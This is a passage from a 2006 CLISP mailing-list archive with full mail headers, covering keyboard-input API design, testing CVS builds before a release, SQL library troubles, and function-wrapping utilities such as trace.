like Windows where you can almost assume that the keyboard is an attached hardware device, I'd have another very, low-level, raw interface that allows you to detect specific keypresses, including keys that don't have ASCII codes such as shift/control/alt/etc. I'd make things like KEY events that represent KEY strokes, but also low-level KEY-DOWN and KEY-UP events to detect things at the raw button level. But, IMO, that's a separate interface, specific to platforms that expose that level of functionality and separate from the APIs that provide a terminal interface in the traditional sense, since the two models are really quite different. In short, separate out different concepts. The current API is usable but it mixes a lot of functionality and even layers of the same functionality together. Tease those things apart. Make the concepts modular and allow them to be composed to do what the programmer wants. Then it's a simple matter to develop convenience functions or macros that implement high-level concepts. Just my $0.02 (or maybe $0.04 given the amount I wrote ;-) ). -- Dave From sds@podval.org Fri May 19 11:59:41 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FhACI-0005dF-MB for clisp-list@lists.sourceforge.net; Fri, 19 May 2006 11:59:38 -0700 Received: from sccrmhc13.comcast.net ([63.240.77.83]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FhACD-0007iE-Gw for clisp-list@lists.sourceforge.net; Fri, 19 May 2006 11:59:38 -0700 Received: from smtp.podval.org (k39.podval.org[24.60.134.201]) by comcast.net (sccrmhc13) with ESMTP id <2006051918592201300ejdq8e>; Fri, 19 May 2006 18:59:22 +0000 Received: from quant8.janestcapital.quant (unknown [209.213.205.130]) by smtp.podval.org (Postfix) with ESMTP id 1374B12842F; Fri, 19 May 2006 14:59:26 -0400 (EDT) To: clisp-list@lists.sourceforge.net, "Hoehle, Joerg-Cyril" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Joerg-Cyril Hoehle's message of "Fri, 19 May 2006 11:56:43 +0200") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, "Hoehle, Joerg-Cyril" Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.1 RCVD_IN_SORBS_DUL RBL: SORBS: sent directly from dynamic IP address [24.60.134.201 listed in dnsbl.sorbs.net] Subject: [clisp-list] Re: please help preprare new releases of CLISP Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri May 19 12:00:04 2006 X-Original-Date: Fri, 19 May 2006 14:59:21 -0400 > * Hoehle, Joerg-Cyril [2006-05-19 11:56:43 +0200]: > > I'd really appreciate if users with access to some compile farm > (either sourceforge or whatever is under the Sun) would build and test > CLISP now and then on a lot of different architectures and report > errors. I have cron scripts set up to build clisp nightly on all sf cf hosts. alas, their shell server is down at the moment (and some servers - freebsd and maxosx - have been down since November). I will make sure that the latest CF build logs are available on . -- Sam Steingold (http://www.podval.org/~sds) on Fedora Core release 5 (Bordeaux) http://palestinefacts.org http://honestreporting.com http://pmw.org.il http://openvotingconsortium.org http://memri.org http://thereligionofpeace.com War doesn't determine who's right, just who's left. From ampy@ich.dvo.ru Fri May 19 19:55:08 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FhHcO-0000zy-UI for clisp-list@lists.sourceforge.net; Fri, 19 May 2006 19:55:04 -0700 Received: from ints.vtc.ru ([212.16.193.34] helo=vtc.ru) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FhHcM-0007tk-7O for clisp-list@lists.sourceforge.net; Fri, 19 May 2006 19:55:05 -0700 Received: from lenin (host-212-16-220-106.hosts.vtc.ru [212.16.220.106]) by vtc.ru (8.13.4/8.13.4) with ESMTP id k4K2sqqG009964; Sat, 20 May 2006 13:54:53 +1100 Authentication-Results: vtc.ru from=ampy@ich.dvo.ru; sender-id=neutral; spf=neutral From: Arseny Slobodyuk X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodyuk Organization: ICH X-Priority: 3 (Normal) Message-ID: <18112902484.20060520135051@ich.dvo.ru> To: "Hoehle, Joerg-Cyril" CC: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Weird behaviour on keyboard reading In-reply-To: References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri May 19 19:56:02 2006 X-Original-Date: Sat, 20 May 2006 13:50:51 +1100 > Maybe it's bad design? IMO, CL standard is limited in this regard - low level read functions can only return unsigned-bytes or characters. READ can return different objects but it's assumed, that READ construct it from text characters. I don't think READ-CHAR returns special struct when called to *keyboard-stream* is a big problem, either. > behaviour may be good enough. But I fear portability bugs for > software developed on UNIX, which errors out on MS-Windows when > receiving individual shift or ctrl key events. Or from MS-Windows to > UNIX, when the software says "press shift key to continue..." (which > remembers me of a pinball/flipper game on C64 which IIRC used the > shift keys -- which CLISP does not differentiate ;) I wonder if there's just one unix or windows useful lisp program that uses SCREEN. I once wrote one, I even reached to kinda window oriented library and line-editing which worked in unix and windows, but haven't finished. Using API is powerful approach indeed, but it's too consuming. Modify of program (remap shifts to something else on unix or just eat shifts and controls silently on unix) is far more simple task, given one have sources, which is true as we are talking about GNU programs. -- Best regards, Arseny From don-sourceforge-xx@isis.cs3-inc.com Fri May 19 21:48:41 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FhJOJ-0004M7-TS for clisp-list@lists.sourceforge.net; Fri, 19 May 2006 21:48:39 -0700 Received: from h-66-166-0-98.lsanca54.covad.net ([66.166.0.98] helo=isis.cs3-inc.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FhJOJ-0006JF-S5 for clisp-list@lists.sourceforge.net; Fri, 19 May 2006 21:48:40 -0700 Received: by isis.cs3-inc.com (Postfix, from userid 501) id 5D6DD1A818F; Fri, 19 May 2006 21:48:49 -0700 (PDT) From: don-sourceforge-xx@isis.cs3-inc.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17518.40881.321312.574377@isis.cs3-inc.com> To: clisp-list@lists.sourceforge.net Subject: [clisp-list] please help preprare new releases of CLISP In-Reply-To: <20060520025701.C0A78897FB@sc8-sf-spam1.sourceforge.net> References: <20060520025701.C0A78897FB@sc8-sf-spam1.sourceforge.net> X-Mailer: VM 7.07 under 21.4 (patch 8) "Honest Recruiter" XEmacs Lucid X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri May 19 21:49:02 2006 X-Original-Date: Fri, 19 May 2006 21:48:49 -0700 > Don Cohen writes: > >Now maybe I can try to build a current CVS clisp. > >It would be useful to mark states that are thought to be relatively > >stable and buildable. > Do you mean "mark releases" or snapshots of CVS? I meant CVS. > As far as releases, 2.39 seems like a perfect candidate for "stable": 2.39? I've never heard of it before? It's not listed in http://clisp.sourceforge.net/ If it has my two favorite bugs fixed from .38 (server not allowing connections from all IP's and socket-status blocking when it shouldn't) and not too many more introduced I'll use it. BTW, are there entries in the test suite for those? I know the only way to find out what other bugs (that affect ME) have been introduced is to try it. That's another reason to try it. If I thought longer strings might soon be working then I'd be tempted to wait for that. (I'm happy that I have long strings on 64 bit though.) > Pro release: > o MacOS non-blocking socket fix - enough reason on its own for a release? > o sigsegv fixes > > However, time is not ripe for a release IMHO. YMMV: > 1. There are several portabiliy bugs open. namely? What other bugs? Are they all listed under SourceForge Project Home * bug reports > 2. I don't have access to a compile farm (firewall). The minimal thing > to do prior to release is to test CVS whether it builds an passes tests > on a lot more platforms than my MS-VC6 and Linux/i386 builds (and > Yaroslav's mingw, and Dave's Fedora Core etc.). I only have a few different linux versions. > Thanks for reporting the broken links, BTW. Although we could > check links ourselves, there are so many things we could do > ourselves (given a lot of time) that I really appreciate every > little report and especially patches. (After all, finding bugs is what users are for, right?) The change in SF seems to have left broken links in many different projects. From hocwp@free.fr Sat May 20 02:03:45 2006 Received: from [10.3.1.93] (helo=sc8-sf-list1-new.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FhNN8-0004tp-Tz for clisp-list@lists.sourceforge.net; Sat, 20 May 2006 02:03:42 -0700 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1FhNN9-0006L4-0Q for clisp-list@lists.sourceforge.net; Sat, 20 May 2006 02:03:43 -0700 Received: from bel60-1-82-233-56-217.fbx.proxad.net ([82.233.56.217] helo=grigri.elcforest) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1FhNN7-0003Gs-AL for clisp-list@lists.sourceforge.net; Sat, 20 May 2006 02:03:42 -0700 Received: from phil by grigri.elcforest with local (Exim 4.61) (envelope-from ) id 1FhNMy-0001fe-0s; Sat, 20 May 2006 11:03:32 +0200 From: Philippe Brochard To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] please help preprare new releases of CLISP Organization: GNU/Linux Home References: Mail-Copies-To: never Organisation: None In-Reply-To: (Joerg-Cyril Hoehle's message of "Fri, 19 May 2006 11:56:43 +0200") Message-ID: <87mzdd9ifx.fsf@grigri.elcforest> User-Agent: Gnus/5.110004 (No Gnus v0.4) Emacs/21.4 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 1.1 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO 0.1 RCVD_IN_SORBS_DUL RBL: SORBS: sent directly from dynamic IP address [82.233.56.217 listed in dnsbl.sorbs.net] Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat May 20 02:04:29 2006 X-Original-Date: Sat, 20 May 2006 11:03:30 +0200 Joerg-Cyril Hoehle writes: > Don Cohen writes: >>Now maybe I can try to build a current CVS clisp. >>It would be useful to mark states that are thought to be relatively >>stable and buildable. > Do you mean "mark releases" or snapshots of CVS? > > As far as releases, 2.39 seems like a perfect candidate for "stable": When you look at the ChangeLog or NEWS, you see that there have been only bugfixes, except from the MS-windows I/O speed improvements and some SAVEINITMEM change. > http://clisp.cvs.sourceforge.net/*checkout*/clisp/clisp/src/NEWS > > Pro release: > o MacOS non-blocking socket fix - enough reason on its own for a release? > o sigsegv fixes > > However, time is not ripe for a release IMHO. YMMV: > 1. There are several portabiliy bugs open. > > 2. I don't have access to a compile farm (firewall). The minimal thing > to do prior to release is to test CVS whether it builds an passes tests > on a lot more platforms than my MS-VC6 and Linux/i386 builds (and > Yaroslav's mingw, and Dave's Fedora Core etc.). > > I'd really appreciate if users with access to some compile farm (either sourceforge or whatever is under the Sun) would build and test CLISP now and then on a lot of different architectures and report errors. > Who volunteers? > If that can help, I can set up tests on GNU/Linux X86 and PPC, Windows XP, MacOS X and NetBSD x86. In all case, I run mcclim with clisp under GNU/Linux and MaxOSX with the current clisp stable release. > BTW, providing patches is even better than reporting errors :-) > Hum, don't know for this part, but if I can... :) [...] Thanks a lot for your great work! best regards, Philippe -- Philippe Brochard http://hocwp.free.fr http://common-lisp.net/project/cl-wav-synth/ -=-= http://www.gnu.org/home.fr.html =-=- From Devon@Jovi.Net Sat May 20 16:01:09 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FhaRX-0006No-DJ for clisp-list@lists.sourceforge.net; Sat, 20 May 2006 16:01:07 -0700 Received: from grant.org ([206.190.173.18]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1FhaRW-0002E2-7q for clisp-list@lists.sourceforge.net; Sat, 20 May 2006 16:01:07 -0700 Received: from grant.org (localhost [127.0.0.1]) by grant.org (8.12.11/8.12.11) with ESMTP id k4KN0KCC071863 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sat, 20 May 2006 19:00:22 -0400 (EDT) (envelope-from Devon@Jovi.Net) Received: (from devon@localhost) by grant.org (8.12.11/8.12.11/Submit) id k4KN0G4B071852; Sat, 20 May 2006 19:00:16 -0400 (EDT) (envelope-from Devon@Jovi.Net) Message-Id: <200605202300.k4KN0G4B071852@grant.org> X-Authentication-Warning: grant.org: devon set sender to Devon@Jovi.Net using -f From: Devon Sean McCullough To: clisp-list@lists.sourceforge.net X-Spam-Status: No, score=-2.6 required=5.0 tests=BAYES_00,UNPARSEABLE_RELAY autolearn=ham version=3.1.0 X-Spam-Checker-Version: SpamAssassin 3.1.0 (2005-09-13) on grant.org X-Virus-Scanned: by amavisd-new X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-2.0.2 (grant.org [127.0.0.1]); Sat, 20 May 2006 19:00:52 -0400 (EDT) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] goodbye my CLISP, hello Python Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat May 20 16:02:02 2006 X-Original-Date: Sat, 20 May 2006 19:00:16 -0400 (EDT) I am very saddened to have to report that I am forced to punt CLISP in favor of Python. The SQL libraries actually work, what a relief and those triple quotes are kinda cute. Although my code is not as nice, working libraries take me a long way. [insert rant ad lib] Peace --Devon /~\ \ / Health Care X not warfare / \ Dubya won the digital vote Kerry won the popular vote From lisp-clisp-list@m.gmane.org Sat May 20 18:11:34 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FhcTm-0003wg-Bl for clisp-list@lists.sourceforge.net; Sat, 20 May 2006 18:11:34 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1FhcTk-0006wa-UP for clisp-list@lists.sourceforge.net; Sat, 20 May 2006 18:11:34 -0700 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1FhcTg-0002eP-Kt for clisp-list@lists.sourceforge.net; Sun, 21 May 2006 03:11:28 +0200 Received: from CPE0004e2a7e9a9-CM014310113270.cpe.net.cable.rogers.com ([72.140.140.186]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sun, 21 May 2006 03:11:28 +0200 Received: from mbirukou by CPE0004e2a7e9a9-CM014310113270.cpe.net.cable.rogers.com with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sun, 21 May 2006 03:11:28 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Mikalai Birukou Lines: 5 Message-ID: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: main.gmane.org User-Agent: Loom/3.14 (http://gmane.org/) X-Loom-IP: 72.140.140.186 (Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Function wrapping utility Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat May 20 18:12:02 2006 X-Original-Date: Sun, 21 May 2006 01:11:18 +0000 (UTC) Hi, I know there is a utility for wrapping regular function in AllegroCL. From a user perspective it works somewhat similar to :around method in a gen-function. It is a nice utility, when it is needed. Does anything like this wrapping utility exists for CLisp (or other CL's) ? From Kyosuke@seznam.cz Sat May 20 19:40:07 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FhdrS-0004JV-P0 for clisp-list@lists.sourceforge.net; Sat, 20 May 2006 19:40:06 -0700 Received: from mxh.seznam.cz ([194.228.32.26] helo=mx1.seznam.cz) by mail.sourceforge.net with smtp (Exim 4.44) id 1FhdrO-0007GU-SL for clisp-list@lists.sourceforge.net; Sat, 20 May 2006 19:40:06 -0700 Received: (qmail 28547 invoked by uid 0); 21 May 2006 02:39:56 -0000 In-Reply-To: Received: from [84.42.141.222] by email.seznam.cz with HTTP for Kyosuke@seznam.cz; Sun, 21 May 2006 4:39:21 +0200 (CEST) Reply-To: =?us-ascii?Q?Jakub=20Hegenbart?= Cc: clisp-list@lists.sourceforge.net To: =?us-ascii?Q?Mikalai=20Birukou?= From: =?us-ascii?Q?Jakub=20Hegenbart?= Mime-Version: 1.0 Message-Id: <2166.3064-22398-870961294-1148179196@seznam.cz> Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset="us-ascii" X-Abuse: helpdesk@seznam.cz X-Seznam-User: Kyosuke@seznam.cz X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: [clisp-list] =?us-ascii?Q?Re=3A=20=5Bclisp=2Dlist=5D=20Function=20wrapping=20utility?= Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat May 20 19:41:01 2006 X-Original-Date: Sun, 21 May 2006 04:39:56 +0200 (CEST) < Hi, < I know there is a utility for wrapping regular function in AllegroCL. From a < user perspective it works somewhat similar to :around method in a gen-function. < It is a nice utility, when it is needed. < Does anything like this wrapping utility exists for CLisp (or other CL's) ? I'm by no means that skilled in CL (for now ;-)), but I guess this might be useful: http://www.cs.cmu.edu/~dst/Lisp/dtrace/dtrace.generic Could you possibly replace the function in the same way that trace-function does (by setf-ing (symbol-function ) with a lambda)? Jakub Hegenbart From don-sourceforge-xx@isis.cs3-inc.com Sat May 20 20:54:50 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Fhf1m-0003Nz-Gd for clisp-list@lists.sourceforge.net; Sat, 20 May 2006 20:54:50 -0700 Received: from h-66-166-0-98.lsanca54.covad.net ([66.166.0.98] helo=isis.cs3-inc.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Fhf1k-0005Jv-Gy for clisp-list@lists.sourceforge.net; Sat, 20 May 2006 20:54:50 -0700 Received: by isis.cs3-inc.com (Postfix, from userid 501) id D8B5C1A818F; Sat, 20 May 2006 20:55:00 -0700 (PDT) From: don-sourceforge-xx@isis.cs3-inc.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17519.58516.834804.524157@isis.cs3-inc.com> To: clisp-list@lists.sourceforge.net, mbirukou@rogers.com Subject: [clisp-list] Function wrapping utility In-Reply-To: <20060521032211.DFD16173FD@sc8-sf-spam2.sourceforge.net> References: <20060521032211.DFD16173FD@sc8-sf-spam2.sourceforge.net> X-Mailer: VM 7.07 under 21.4 (patch 8) "Honest Recruiter" XEmacs Lucid X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat May 20 20:55:04 2006 X-Original-Date: Sat, 20 May 2006 20:55:00 -0700 > I know there is a utility for wrapping regular function in AllegroCL. From a > user perspective it works somewhat similar to :around method in a gen-function. This is what trace does. See the options in impnotes 25.2.5 Not as fancy as advice was in interlisp, but normally adequate. > It is a nice utility, when it is needed. > Does anything like this wrapping utility exists for CLisp (or other CL's) ? > http://www.cs.cmu.edu/~dst/Lisp/dtrace/dtrace.generic Looks pretty much like trace. > Could you possibly replace the function in the same way that > trace-function does (by setf-ing (symbol-function ) with a > lambda)? This is the fall back position if you're not satisfied with what you have - write your own. From don-sourceforge-xx@isis.cs3-inc.com Sat May 20 20:58:44 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Fhf5Y-0003r3-J8 for clisp-list@lists.sourceforge.net; Sat, 20 May 2006 20:58:44 -0700 Received: from h-66-166-0-98.lsanca54.covad.net ([66.166.0.98] helo=isis.cs3-inc.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Fhf5Y-00069g-Lx for clisp-list@lists.sourceforge.net; Sat, 20 May 2006 20:58:44 -0700 Received: by isis.cs3-inc.com (Postfix, from userid 501) id 175B11A818F; Sat, 20 May 2006 20:58:57 -0700 (PDT) From: don-sourceforge-xx@isis.cs3-inc.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17519.58753.40107.976778@isis.cs3-inc.com> To: clisp-list@lists.sourceforge.net In-Reply-To: <20060521034532.AA63A1A8190@isis.cs3-inc.com> References: <20060521034532.AA63A1A8190@isis.cs3-inc.com> X-Mailer: VM 7.07 under 21.4 (patch 8) "Honest Recruiter" XEmacs Lucid X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: [clisp-list] sql libraries Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat May 20 20:59:01 2006 X-Original-Date: Sat, 20 May 2006 20:58:57 -0700 > I am very saddened to have to report that I am forced to punt CLISP > in favor of Python. The SQL libraries actually work, what a relief > and those triple quotes are kinda cute. Although my code is not as > nice, working libraries take me a long way. [insert rant ad lib] Which libraries, what DB's, what platform are you trying to use? I did manage to get odbc-cl to work, and it's pretty straight forward to use something like the mysql command from clisp. Clsql seems not to work at the moment, though I don't know why. I bet it wouldn't be too hard to fix. From Devon@Jovi.Net Sat May 20 21:06:04 2006 Received: from [10.3.1.93] (helo=sc8-sf-list1-new.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FhfCd-0004a1-Ae for clisp-list@lists.sourceforge.net; Sat, 20 May 2006 21:06:03 -0700 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1FhfCd-0006dA-3a for clisp-list@lists.sourceforge.net; Sat, 20 May 2006 21:06:03 -0700 Received: from grant.org ([206.190.173.18]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1FhfCa-0004FP-K2 for clisp-list@lists.sourceforge.net; Sat, 20 May 2006 21:06:02 -0700 Received: from grant.org (localhost [127.0.0.1]) by grant.org (8.12.11/8.12.11) with ESMTP id k4L45NLw086205 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sun, 21 May 2006 00:05:26 -0400 (EDT) (envelope-from Devon@Jovi.Net) Received: (from devon@localhost) by grant.org (8.12.11/8.12.11/Submit) id k4L45NiC086202; Sun, 21 May 2006 00:05:23 -0400 (EDT) (envelope-from Devon@Jovi.Net) Message-Id: <200605210405.k4L45NiC086202@grant.org> X-Authentication-Warning: grant.org: devon set sender to Devon@Jovi.Net using -f From: Devon Sean McCullough To: don-sourceforge-xx@isis.cs3-inc.com (Don Cohen) CC: clisp-list@lists.sourceforge.net In-reply-to: <17519.58753.40107.976778@isis.cs3-inc.com> (don-sourceforge-xx@isis.cs3-inc.com) Subject: Re: [clisp-list] sql libraries References: <20060521034532.AA63A1A8190@isis.cs3-inc.com> <17519.58753.40107.976778@isis.cs3-inc.com> X-Spam-Status: No, score=-3.1 required=5.0 tests=AWL,BAYES_00, UNPARSEABLE_RELAY autolearn=ham version=3.1.0 X-Spam-Checker-Version: SpamAssassin 3.1.0 (2005-09-13) on grant.org X-Virus-Scanned: by amavisd-new X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-2.0.2 (grant.org [127.0.0.1]); Sun, 21 May 2006 00:05:36 -0400 (EDT) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat May 20 21:07:02 2006 X-Original-Date: Sun, 21 May 2006 00:05:23 -0400 (EDT) From: don-sourceforge-xx@isis.cs3-inc.com (Don Cohen) Date: Sat, 20 May 2006 20:58:57 -0700 Clsql seems not to work at the moment, though I don't know why. I bet it wouldn't be too hard to fix. I thought so too but was mistaken. Peace --Devon /~\ \ / Health Care X not warfare / \ Dubya won the digital vote Kerry won the popular vote From s11@member.fsf.org Sun May 21 00:03:53 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Fhhyj-0005NR-3g for clisp-list@lists.sourceforge.net; Sun, 21 May 2006 00:03:53 -0700 Received: from [192.195.225.73] (helo=uesmtp.evansville.edu) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Fhhyh-0006Cy-TY for clisp-list@lists.sourceforge.net; Sun, 21 May 2006 00:03:53 -0700 Received: from uemail.evansville.edu ([10.5.0.16]) by uesmtp.evansville.edu with Microsoft SMTPSVC(6.0.3790.1830); Sun, 21 May 2006 02:03:30 -0500 Received: from [192.168.10.5] ([12.222.181.172]) by uemail.evansville.edu with Microsoft SMTPSVC(6.0.3790.1830); Sun, 21 May 2006 02:03:29 -0500 Mime-Version: 1.0 (Apple Message framework v750) In-Reply-To: <17519.58753.40107.976778@isis.cs3-inc.com> References: <20060521034532.AA63A1A8190@isis.cs3-inc.com> <17519.58753.40107.976778@isis.cs3-inc.com> Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: Content-Transfer-Encoding: 7bit From: Stephen Compall Subject: Re: [clisp-list] sql libraries To: clisp-list@lists.sourceforge.net 